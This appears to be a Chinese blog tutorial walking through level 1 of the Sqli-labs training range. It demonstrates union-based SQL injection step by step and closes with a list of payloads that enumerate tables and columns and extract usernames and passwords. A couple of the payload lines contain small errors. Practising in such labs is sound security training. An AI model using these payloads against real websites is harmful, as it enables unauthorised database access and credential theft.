SQL注入靶场—Sqli-labs 报错注入讲解


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

SQL 注入靶场

1.0 Sqli-labs 下载安装

2.0 less-1 关卡实战开始

总结手工注入常见操作步骤


SQL 注入靶场

1.0 Sqli-labs 下载安装

从github 库中clone 软件,不会的请自行百度搜索下载安装教程。

 

PS:在这里向大家推荐一款 firefox 上很好用的插件—— hackbar(当然谷歌上也可以使用),他是一款实用的帮助我们进行 sql 注入测试的软件。至于他的具体功能大家将在以后的试验中慢慢熟悉,在此就不再做讲解

 

2.0 less-1 关卡实战开始

     2.1进入 less-1 挑战,从挑战的名称看出是基于错误的 GET 单引号字符型注入。我们在 URl 后面加上?id=1。页面变化成这个样子。

SQL注入靶场—Sqli-labs 报错注入讲解_第1张图片

     2.2 在 harkbar 操作栏点击 load URl 会将 URL 加载到 harkbar 提供的 url 框里,在框里我们进行 sql 注入,首先在页面后面加入,页面回显不正常,有 sql 注入,然后我们通过 order by 语句猜字段。切记要在末尾加上 # 来注释。但是又由于是 get 型注入,不会将 # 进行 URL 编码,所以使用 hackbar 的编码功能进行编码

SQL注入靶场—Sqli-labs 报错注入讲解_第2张图片

     2.3 可以看到通过猜字段我们猜到有三个字段,所以 union select 一下,但是为什么 union select 不能显示其中的两个呢?在源代码中我们查看这段代码会发现 PHP 的 MySQL_fetch_array 函数只被调用了一次,所以说只需要让第一行的查询结果是空集,那么 union select 右边的查询结果就可以成为第一行打印在网页上。而 ID 这个参数一般来说传递的都是数字,而数字一般都是从 1 开始的,所以我们只需要让传递的参数是 0 或者负数、浮点数、字符串就可以了。

SQL注入靶场—Sqli-labs 报错注入讲解_第3张图片

SQL注入靶场—Sqli-labs 报错注入讲解_第4张图片

     2.4 那么我们现在开始查询想要想要获取的东西,例如当前数据库的用户,数据库名,版本。分别使用 user()、database()、version(),来进行查询。

           这样可以得知当前的数据库名为:security。当前用户为:root。当前数据库版本为:5.5.50

SQL注入靶场—Sqli-labs 报错注入讲解_第5张图片

     2.5 接下来我们要开始查询数据库中有哪些表,由于当前的数据库为 5.x 以上的版本,所以库中有 information_schema 表,该表记录了当前数据库的表、列、用户权限等信息,给 sql 注入提供了很大的方便。

SQL注入靶场—Sqli-labs 报错注入讲解_第6张图片4

注入时每次只能显示一个表,所以我们要用到 limit

SQL注入靶场—Sqli-labs 报错注入讲解_第7张图片

     2.6 现在我们开始列举 user 表中的列,使用 column_name from information_schema where table_schema = ** and table_name = ***** limit 0,1 #语句进行列举

SQL注入靶场—Sqli-labs 报错注入讲解_第8张图片

     2.7 剩下的工作就是把 username 和 password 爆出来了。使用 union select 1,username,password from users limit 0,1# 语句可以完成。

SQL注入靶场—Sqli-labs 报错注入讲解_第9张图片

    这里我只对第一关做了演练,其它1-35关讲解,请前往以下链接:

    https://blog.csdn.net/God_XiangYu/article/details/95520778

总结手工注入常见操作步骤:

· 1. 判断是否存在存在注入点

       ?id=1’

· 2. 判断长度

        ?id=1’ order by * --+

· 3. 确认长度为*后(长度为3),获取系统信息

        ?id=1’ union select 1,2,version() --+

         或

        ?Id=1’ union select null,version(),null --+

· 4. 爆表

        ?id=1’ union select 1,2,table_name from information_schema.tables where table_schema=’security’limit 0,1--+

· 5. 爆列名(字段名)

       ?id=1’ union select 1,2,table_column from information_schema.columns where table_schema=’security’ and table_name=’users’limit 0,1--+

· 6. 爆账号和密码(前面几个步骤已爆出表面和列名)

       ?id=1’ union select 1,username,password from users limit 0,1 --+

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,SQL注入,前渗透篇)